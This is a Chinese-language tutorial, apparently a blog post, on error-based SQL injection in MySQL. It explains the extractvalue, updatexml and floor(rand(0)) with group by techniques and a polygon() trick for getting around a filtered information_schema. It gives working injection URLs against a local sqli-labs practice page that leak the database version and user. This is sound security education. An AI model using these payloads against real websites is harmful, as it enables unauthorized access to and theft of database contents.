原理:攻击者通过各种手段使程序报错,爆出相应数据信息。
要求:程序员在网站程序中把SQL的错误输出到了页面上。(此后就被不法分子利用咯!)
怎么理解报错注入呢?
程序员把SQL错误输出到页面上,原意本身是调试或提醒用户的,可是却被hacker利用咯!
第一个参数XML_document:xml文档名称。
第二个参数XPath_string:xpath格式的字符串。
第三个参数new_value:替换查找到的符合条件的数据。
第一个参数的意思是:传入xml文档
第二个参数的意思是:传入文档的路径
在这里再说一下rand()、rand(0)的区别。
rand()可以生成0到1之间的随机数。
rand(0)和rand()还是有本质区别的,rand(0)相当于给rand()函数传递了一个参数,然后rand()函数会根据0这个参数进行随机数成成。rand()生成的数字是完全随机的,而rand(0)是有规律的生成,我们可以在数据库中尝试一下。
首先测试rand()
我们再测试一下rand(0)的效果
为什么输出的数字都是0、1呢?
floor (rand(0)*2)函数
floor函数的作用就是返回小于等于括号内该值的最大整数。
rand()本身是返回0~1的随机数,但在后面*2就变成了返回0~2之间的随机数。
配合上floor函数就可以产生确定的两个数,即0和1。
相信大家在学的时候都会看到一个类似于公式的语句,这个语句是基于floor()的报错SQL语句
floor()报错注入中floor()、group by、rand(0)三个函数缺一不可。
select count(*),(concat(floor(rand(0)*2),(select version())))x from user group by x;
当count(*)和group by x同时执行时,就会爆出duplicate entry错误。
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select @@version),0x7e))--+
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)--+
过滤了information_schema
如果过滤了information_schema,则无法获取表名。利用polygon()进行绕过,polygon(可能存在的列名),一般都有id这个列名,即可爆出表名。
可看出图中爆出了users这个表名。
参考博客:https://www.cnblogs.com/richardlee97/p/10617115.html
https://www.cnblogs.com/lcamry/p/6122257.html
https://www.cnblogs.com/c1047509362/p/12806297.html